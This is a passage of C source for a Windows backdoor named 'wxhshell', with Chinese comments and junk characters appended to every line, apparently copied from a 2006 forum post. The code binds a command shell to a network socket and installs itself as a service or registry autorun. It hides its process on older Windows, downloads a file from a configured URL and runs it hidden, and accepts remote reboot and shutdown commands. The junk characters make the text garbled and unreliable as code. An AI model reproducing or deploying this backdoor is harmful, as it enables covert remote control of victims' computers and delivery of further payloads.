#p@8m_g  
    switch(cmd[0]) { $\BRX\6(-  
  dHp(U :)  
  // 帮助 o";5@NH  
  case '?': { UruD&=AMK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $e66jV  
    break; n#,<-Rb-  
  } #w\Bc\  
  // 安装 d4OWnPHv&}  
  case 'i': { egcJ@Of  
    if(Install()) 2%Bq[SMuN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +X)n}jh  
    else d1YE$   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HAa2q=  
    break; bvY'=   
    } !QK ~l  
  // 卸载 *7.EL`8  
  case 'r': { 6%  +s`  
    if(Uninstall()) <xOv0B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T~B'- >O  
    else o4I&?d7;"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |DAe2RK  
    break; >_3+s~  
    } 2$8#ePyq*  
  // 显示 wxhshell 所在路径 (#6E{@eq  
  case 'p': { rO8Q||@>A  
    char svExeFile[MAX_PATH]; NHKIZx8sR  
    strcpy(svExeFile,"\n\r"); n3w(zB  
      strcat(svExeFile,ExeFile); ?' F>DN  
        send(wsh,svExeFile,strlen(svExeFile),0); "Uy==~  
    break; )aY^k|I  
    } )Ih '0>=  
  // 重启 LwDm(gG  
  case 'b': { &w@~@]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fAMJFHW  
    if(Boot(REBOOT)) e_3KNQ`kA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r,^}/<*  
    else { A#&Q(g\YE  
    closesocket(wsh); ="fq.Tt  
    ExitThread(0); !FwR7`i  
    } |)'gQvDM  
    break; QIl![%  
    } '^Kmfc  
  // 关机 uM3F[p%V^  
  case 'd': { 4Y>v+N^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jA ?tDAx`  
    if(Boot(SHUTDOWN)) Fa]fSqy@;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Kh@P*7  
    else { \@]/ks=K  
    closesocket(wsh); 9$0-UUCk  
    ExitThread(0); s':fv[%  
    } H` !%"  
    break; YDEUiZ~  
    } e jY|o Bj  
  // 获取shell Efo,5  
  case 's': { qucw%hJr  
    CmdShell(wsh); $.Fti-5  
    closesocket(wsh); )3O0:]<H  
    ExitThread(0); YXC?q  
    break; 2?; =TJo$  
  } HA}pr6Z  
  // 退出 )*&I|L<1  
  case 'x': { <a>\.d9#)7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v` 9^?Xw)  
    CloseIt(wsh); w3j51v` 0'  
    break; ![O@{/  
    } .:eNL]2%:  
  // 离开 ]V9z)uz  
  case 'q': { gemjLuf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z  Mp  
    closesocket(wsh); ![H!Y W'  
    WSACleanup(); {,r7dxI)`  
    exit(1); JM8 s]&  
    break; gR `:)>  
        } d\nBc6  
  } D}Jhg`9  
  } IbRy~  
%\=oy=f  
  // 提示信息 cE x$cZRMI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ra CpL9;  
} mPHn &4  
  } %y zFWDg  
~<0!sE&y  
  return; 6km{= ```  
} 'TPRGX~&  
?L|Jc_E  
// shell模块句柄 +cAN4  
int CmdShell(SOCKET sock) {Kp<T  
{ PPCZT3c=  
STARTUPINFO si; Uk5O9D0 He  
ZeroMemory(&si,sizeof(si)); )r O`K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5BKmp-m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y%T5"p$,  
PROCESS_INFORMATION ProcessInfo; {b@rQCre7  
char cmdline[]="cmd"; amI$0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &lYKi3}x  
  return 0; ],r?]>  
} "i$uV3d  
1m-"v:fT5D  
// 自身启动模式 02]9 OnWw  
int StartFromService(void) H~~I6D{8  
{ Ty]/F+{  
typedef struct !=#230Y  
{ C~M~2@Iori  
  DWORD ExitStatus; AR\?bB~`c  
  DWORD PebBaseAddress; gm"#:< )  
  DWORD AffinityMask; 9jir* UI  
  DWORD BasePriority; $ &UZy|9  
  ULONG UniqueProcessId; >QkP7Kb  
  ULONG InheritedFromUniqueProcessId; EHf\L  
}   PROCESS_BASIC_INFORMATION; `'S0*kMT  
9 ; i\g=  
PROCNTQSIP NtQueryInformationProcess; "sUyHt-&  
h*i9m o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Wx~ZQZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aHzHvl  
b;cMl'  
  HANDLE             hProcess; E%N2k|%8d_  
  PROCESS_BASIC_INFORMATION pbi; zZ-\a[F  
r(A.<`\   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \}0-^(9zd  
  if(NULL == hInst ) return 0; f58?5(Dc|  
2{|$T2?e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IH *s8tPc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @R|'X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |I;$M;'r&  
J @IS\9O  
  if (!NtQueryInformationProcess) return 0; qQ]]~F  
]; $] G-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5*g]qJF  
  if(!hProcess) return 0; ay )/q5  
#U mF-c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }iB|sl2J  
c]k*}W3T  
  CloseHandle(hProcess); Y"g.IK`V  
,F6=b/eZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pc]J[ S?P  
if(hProcess==NULL) return 0;  XRN+`J  
iUk-'   
HMODULE hMod; _i0kc,*C\  
char procName[255]; _l`e#XbG  
unsigned long cbNeeded; 6A R2htN^  
q!~ -(&S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a?h*eAAc.  
w4,Ag{t>  
  CloseHandle(hProcess); gY-5_Ab  
7r# ymQ  
if(strstr(procName,"services")) return 1; // 以服务启动 k44Q):ncY7  
5*%#o  
  return 0; // 注册表启动 "UFs~S|e  
} 0pb '\lA  
m7c*)"^  
// 主模块 68fiG  
int StartWxhshell(LPSTR lpCmdLine) G"5D< ]  
{ Lo.rvt  
  SOCKET wsl; am1[9g8L  
BOOL val=TRUE; x\e;+ubt}  
  int port=0; J5Z%ImiT^O  
  struct sockaddr_in door; ^ <`(lyph  
Jb_1LZ) ]  
  if(wscfg.ws_autoins) Install(); `O?T.p)   
@&F@I3`{  
port=atoi(lpCmdLine); {=2DqkTD  
G.Vu KsP]  
if(port<=0) port=wscfg.ws_port; f_^1J  
38ES($  
  WSADATA data; eDI= nSo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8LkP)]4^sO  
IA zZ1#/3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +gd2|`#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NH<gU_s8{9  
  door.sin_family = AF_INET; ./vZe_o)j$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AFvgbn8Qh  
  door.sin_port = htons(port); inb^$v  
9I7\D8r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }GMbBZ:nKK  
closesocket(wsl); e1myH6$W  
return 1; RrZM&lXY  
} }kHdK vZ  
*.-.iY.a]  
  if(listen(wsl,2) == INVALID_SOCKET) { 1F8 W9b^D  
closesocket(wsl); ,fDEz9-,  
return 1; s'aip5P  
} wFh8?Z3u_  
  Wxhshell(wsl); }T^cEfX  
  WSACleanup(); =;a!u  
Di_2Plo)4  
return 0; 5wao1sd#  
)4U> !KrY  
} w.\w1:d  
[S]S^ej*8  
// 以NT服务方式启动 tY${M^^<J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vr^~yEr  
{ qLL,F  
DWORD   status = 0; [H\:pP8t  
  DWORD   specificError = 0xfffffff; 54;J8XT7  
WL,&-*JAW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]r! >{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i@5[FC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HW4 .zw  
  serviceStatus.dwWin32ExitCode     = 0; >Iewx Gb>  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Y?sfp  
  serviceStatus.dwCheckPoint       = 0; % }|cb7l  
  serviceStatus.dwWaitHint       = 0; yH 9!GS#  
|s#'dS;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `i) 2nNJ"  
  if (hServiceStatusHandle==0) return; `(+o=HsD  
iB0WEj[?  
status = GetLastError(); ,r^M?>  
  if (status!=NO_ERROR) r"2V  
{ 5AS[\CB4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qp"y?S  
    serviceStatus.dwCheckPoint       = 0; 4to% `)]  
    serviceStatus.dwWaitHint       = 0; Xv <G-N4  
    serviceStatus.dwWin32ExitCode     = status; N..j{FE  
    serviceStatus.dwServiceSpecificExitCode = specificError; /yz=Cjoz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UtB6V)YI  
    return; =(a1+. O  
  } l\AMl \  
_I`,Br:N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h eaRX4  
  serviceStatus.dwCheckPoint       = 0; U-k+9f 0  
  serviceStatus.dwWaitHint       = 0; UX3BeUi.)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;@,Q&B2eM  
} \;-fi.Hrf$  
|6UtW{2I/  
// 处理NT服务事件,比如:启动、停止 \$aF&r<R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9`jcC-;iv  
{ fJ\sguZ  
switch(fdwControl) ^_t%kmL`  
{ )VCzn~uf  
case SERVICE_CONTROL_STOP: P1b'%  
  serviceStatus.dwWin32ExitCode = 0; pL1Q7&&c0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6iEhsL&K  
  serviceStatus.dwCheckPoint   = 0; zf4Ec-)  
  serviceStatus.dwWaitHint     = 0; fPi3s b`}  
  { \T]EZ'+O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &1l=X]%  
  } IKMeJ(:S  
  return; #j#_cImE  
case SERVICE_CONTROL_PAUSE: |py6pek|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uPYmHA} _/  
  break; gj\)CBOv  
case SERVICE_CONTROL_CONTINUE: q#Zs\PD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZvYLL{>}w  
  break; j*e6 vX  
case SERVICE_CONTROL_INTERROGATE: mNf8kwr  
  break; pME{jD  
}; GU't%[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] sz3]"2  
} Q%/<ZC.Mz6  
nJRS.xs  
// 标准应用程序主函数 mS#zraJn5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ccCzu6  
{ {GvTfZfp  
V._6=ZJ  
// 获取操作系统版本 "G-1>:   
OsIsNt=GetOsVer(); aK,z}l(N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gH2,\z`[4  
B63pgPX  
  // 从命令行安装 YY?a>j."a  
  if(strpbrk(lpCmdLine,"iI")) Install(); /&u<TJ4  
N=:5eAza  
  // 下载执行文件 0JgL2ayIVI  
if(wscfg.ws_downexe) { ^mAYBOE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]0;864X0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2j(h+?N7k  
} fgNU03jp^x  
K.G$]H  
if(!OsIsNt) { =. y*_Ja  
// 如果时win9x,隐藏进程并且设置为注册表启动 HL/bS/KX  
HideProc(); uE[(cko  
StartWxhshell(lpCmdLine); bifS 2>c  
} D+ ~_TA  
else s[8@*/ds  
  if(StartFromService()) 2&+#Vsm`V  
  // 以服务方式启动 Auy_K?he]  
  StartServiceCtrlDispatcher(DispatchTable); ZcuA6#3B  
else \MxoZ  
  // 普通方式启动 QKN<+,h!z>  
  StartWxhshell(lpCmdLine); DC1'Kyk  
=0 @&GOq  
return 0; &t5{J53  
}
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只看该作者 1 发表于: 2006-10-10
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